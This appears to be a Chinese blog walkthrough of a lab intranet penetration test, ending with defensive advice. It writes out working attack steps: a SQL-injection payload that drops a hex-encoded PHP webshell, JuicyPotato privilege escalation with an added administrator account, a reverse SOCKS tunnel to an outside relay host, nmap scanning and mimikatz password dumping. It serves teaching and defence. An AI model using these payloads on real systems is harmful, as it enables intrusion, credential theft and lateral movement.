渗透测试基础 -内网渗透(上)

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

简介

这里因为是复习关于内网的渗透,所以更多的是经过学习了解思路和操作步骤,那这里就直接进行靶场的演练,在过程中学习。

因为所说内容风险较大,请在有合法授权的情况下进行渗透测试!!!

SQL注入写马

在这里插入图片描述
在这里插入图片描述

直接进入到这次的靶场页面。简单测试发现这个网页是存在SQL注入的,但是SQL注入并不能帮助我们进入到人家的服务器中,所以这里得说一个新知识,就是通过SQL实现写一句话木马的操作。

这里我们不单用and 1 like 1and 1 like 2测出了这里存在SQL注入,还爆出了当前的网站目录,这个对我们来说很重要,因为写入的木马,得访问的到才能用

这里来说一下SQL注入是怎么实现的:

写木马需要引进一个SQL函数:dumpfile

既然这个这么厉害,官方当然也知道其危险性,所以加入了读写文件函数调用的限制,函数能否成功执行受到参数 secure_file_priv 的影响

  1. 其中当参数 secure_file_priv 为时,对导入导出无限制
  2. 当值为一个指定的目录时,只能向指定的目录导入导出
  3. 当值被设置为NULL时,禁止导入导出功

它能写入某某内容到某个文件中。靶场看到了显错点,那我们语句可以这样构建

and 1 like 2 union select 333,'webshell' into dumpfile 'C:\phpStudy\WWW\webshell.txt'
文件写入的目录是刚刚网页爆出来的,需要写入的文件是txt,内容是333webshell。这里为什么不直接写入php一句话木马文件,是因为我们不知道这里有什么会拦截我们,所以我们给出最小的威胁,然后在一步步提升威胁等级
在这里插入图片描述
在这里插入图片描述
这样我们自定义的txt文件就创建了,既然这个没问题,那我们来试试php文件

and 1 like 2 union select 333,'<?php eval($_REQUEST[8]);?>' into dumpfile 'C:\phpStudy\WWW\webshell.php

改变这里的文件内容文件后缀
在这里插入图片描述
在这里插入图片描述
访问之后发现这里好像并没有文件的产生。其实这里失败的原因是,我们的传入的数据中有“ ?”的存在所导致的,问号在url栏中是有自己的意义的:实际“ ?”后面跟的是传参值,所以对我们刚刚的语句它并不能理解。
在这里插入图片描述
这里的处理方法也简单,因为URL是支持16进制解析的,我们这里对内容做一下16进制编码即可。
<?php eval($_REQUEST[8]);?>
在这里插入图片描述
以为这样就能用了嘛?其实这里还有小细节,我们将得到的16进制值,在让它反编码回来看看结果
在这里插入图片描述
转码回来之后发现,空格不见了。php eval之间这里有没有空格,那所对应的含义就大了去了,所以这里的空格我们得跟它加上去。空格在16进制中等于 20
在这里插入图片描述
加的位置就在6870的后面
在这里插入图片描述
将值拿出来,在前面加上 0x并取消掉前后的单引号,代表这里是16进制的数值,需要解码食用
3c3f706870206576616c28245f524551554553545b385d293b3f3e

and 1 like 2 union select 333,0x3c3f706870206576616c28245f524551554553545b385d293b3f3e into dumpfile 'C:/phpStudy/WWW/iwebshell.php
在这里插入图片描述
在这里插入图片描述
这样就能webshell工具连接了
在这里插入图片描述
连接进来就能看到我们刚刚传入的文件。

Windows权限提升

既然我们都获得了网站权限,那是不是得在提高一点权限,让我们能远程进入服务器呢?
想要进入服务器,我们得先知道这台机器的一些信息,比如操作系统,当前权限,和已打开端口等信息。

这里介绍几个Windows的CMD查询命令

  1. whoami查询当前用户权限
  2. netstat -ano 查询本机开启的端口
  3. tasklist 查看运行的程序 (类似于任务管理器)
  4. systeminfo 查看计算机信息

在这里插入图片描述
了解到现在的权限为administrator的权限,这个权限不是最高的,我们想拿到最高权限是system权限

这里提升权限的方法可利用Windows漏洞的方法进行提升。先用systeminfo了解一下这台服务器打了哪些补丁
在这里插入图片描述

将这两个补丁编号,放入https://i.hacking8.com/tiquan/这个网站来查一下。看如果打了这两个补丁之后,我们还有哪些漏洞是可以利用的。
在这里插入图片描述
这里分享一个叫做烂土豆的工具。juicypotato。这是下载地址:https://github.com/ohpe/juicy-potato/releases

这个东西百分百报毒,建议虚拟机下载或者是加个信任之类的。

工具的使用方法就是将这个文件传上去,然后在CMD输入 工具的名称+ -p + “要执行的命令” 就可以了

比如这样: JuicyPotato.exe -p “whomai"
在这里插入图片描述
再次执行查询权限的语句,看到这里就显示了我们是system的权限。

因为不知道administrator的密码,所以这里给他加一个新用户进去,方便后面的远程
命令:

  1. exe -p “net user hj 密码 /add” 添加用户
  2. exe -p “net localgroup administrators hj” 提升管理员权限的
  3. exe -p “net localgroup administrator” 查询管理员组

用户添加好了 mstsc远程试试看

花生壳巧获公网IP

在这里插入图片描述
远程之后发现事情不对,前面查询信息知道,这台机器是2008的,但是这个既然显示的2003的,这就不对了,我们来简单了解一下流程

用户访问公网ip的一个端口 ➡️ 路由器接受到有人访问这个端口,根据转发规则分配到内网机器 ➡️ 内网机器连接

但是如果转发规则里面不转发,那怎么加用户也是连接不到,而路由器并不容易搞下来。
一般我们会使用反向连接,我们让我们控制的站点来连接我们公网上的一个端口,然后构成一个反向连接。
反向连接就是目标连接我们,正向就是我们连接目标。

但是我们没有公网ip怎么办?其实只要岁数小于24岁,去阿里云买个学生机还是挺便宜的。就算不想买或者不能买,但又没有公网地址,那这里也有其他办法能用:访问:https://qydev.com/index.html

这里其实原理很简单,我们反向连接花生壳,然后我们让目标反向连接花生壳提供的域名,然后花生壳架起了桥梁让我们沟通,它就是一个中间人
在这里插入图片描述

  1. 进入刚刚的网站,在这里开通一个免费的隧道

在这里插入图片描述

  1. 名字随便写,协议选TCP,在后面加上一个端口,这端口保证你自己不会占用就好
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

这里复制隧道KEYcode,然后下载客户端,下载然后解压之后会看到上面两个文件
在这里插入图片描述

打开“启动工具”输入KEY值

这个东西 先来简单测试一下
在这里插入图片描述
这里有个域名,我们在虚拟机的phpstudy的www目录下放一个木马文件,然后打开刚刚的“启动工具”输入key,等程序启动,当外网去访问上面那个域名时,就能直接访问到我虚拟机里面的木马文件,就相当于花生壳给了我们一个公网地址,让别人来访问。

在这里插入图片描述
在这里插入图片描述

这个用起来很方便,刚刚是做了简单的演示,现在在对靶场做
在这里插入图片描述
当靶场机器访问这个域名和这个端口的时候,就相当于访问我们虚拟机的6666端口
当然,这个实现数据的传输也是需要传其他工具上去,等下介绍

ew内网穿透实现端口转发

这里先介绍一下这里的原理
在这里插入图片描述
最开始,我们尝试用mstsc远程,发现并不是我们想要的机器,可能是连到了“靶场机器B”,但我们实际可能想要连接的是“靶场机器A”,这是因为中间路由器的路由表的问题。现在是这样的,攻击机没有外网地址,“靶场机器A”也没有外网地址,该怎么让他们能连上呢?这里有个点,就是虽然我俩都没有外网地址,但是我俩都可以访问外网,如果我俩之间有个“中间人”搭桥牵线,这事就成了,现在这个“中间人”,就是这个花生壳。

在这里插入图片描述

  1. 因为已经控制了“靶场机器A”的CMD窗口,这里上传工具,输入命令,让其去访问free.qydev.com:4472(这里不应该写域名,应该写域名的ip,ping下一就知道了)
    (命令:ew -s rssocks -d free.qydev.com -e 4472

  2. 花生壳在接收到“靶场机器A”的数据后,根据规则,将数据转给了攻击机的6666端口

  3. 攻击机监听自己的6666端口,然后将6666端口接收到的数据,转给了4545端口
    (转给4545是因为工具需要,工具能将传过来的数据做处理)
    (命令:ew -s rssocks -l 4545 -e 6666)

在这里插入图片描述
在这里插入图片描述
在攻击机打开上面的软件,然后输入上面的命令,这样就开始监听自己的6666端口,并将6666传进来的数据转给4545端口

靶场机器A ➡️ 路由器 ➡️ 穿透工具提供的平台 ➡️ 攻击机
在这里插入图片描述
在这里插入图片描述
靶场机器A输入命令之后,攻击机这边显示连接已ok,也就是说数据已经正常能传到攻击机的4545端口了,接下来在用一个工具(Proxifier)来处理,这个工具采用的是SOCKS5的代理,用起来挺方便的。

在这里插入图片描述
在这里插入图片描述
工具打开点击配置文件,选择代理服务器,然后端口改为4545即可。现在攻击机的所有网络操作,都会交给靶场机器A来操作。

探测内网机器

先看一下靶场机器的内网ip

在这里插入图片描述

在这里插入图片描述
浏览器输入ip,就能访问到内网的网站
在这里插入图片描述
能用那就来试试远程了,账号密码就用我们上面自己创建的去登陆
在这里插入图片描述
进来之后先探测下内网主机,再探测下主机端口。
在这里插入图片描述

ipconfig查看下当前ip,是什么ip段,然后上传nmap,执行:nmap 10.0.1.1/24(探测范围:10.0.1.1-10.0.1.255
然后开始翻一翻本机里面的文件,看看有没有有用的东西,然后根据端口去寻找问题,例如我们现在想对10.0.1.5测试,很明显他开了这些端口,就针对这些端口测试。

提取本地管理员账号密码

内网有这样一个现象存在:就是内网机器比较多,但是管理员可能就是那么几个人,所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取这台机器的密码,就很有可能用这个密码去登陆别的内网机器。

再次引入一个神器:mimikatz
mimikatz是一款内网渗透中常用的工具 [下载地址:https://github.com/gentilkiwi/mimikatz]

它可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码。

注:安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码。mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行

这里执行两条命令即可:
提升权限:privilege::debug
抓取密码:sekur Isa::logonpasswords

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

双击打开(管理员权限打开),先进行提权,然后获取密码。

然后拿着这个账号密码去尝试一下刚刚在nmap里面找的内网机器10.0.1.5,看能不能登陆进去
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这样就进入了第二台服务器,拿到了flag

漏洞总结

防范方法:

  1. 服务器应尽量以白名单的方式运行,包括但不限于端口和网络,如无特殊要求的情况下,完全能让服务器不访问外网,和外网只能访问网站端口而运行着。

  2. secure_file_priv用不上的话,设置为secure_file_priv=NULL

  3. 漏洞补丁应该多注意,高危漏洞应该及时修补。

  4. 为每个账号设置对应的最低可用权限,关闭经常不使用的账号。

《最好的防御,是明白其怎么实施的攻击》

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值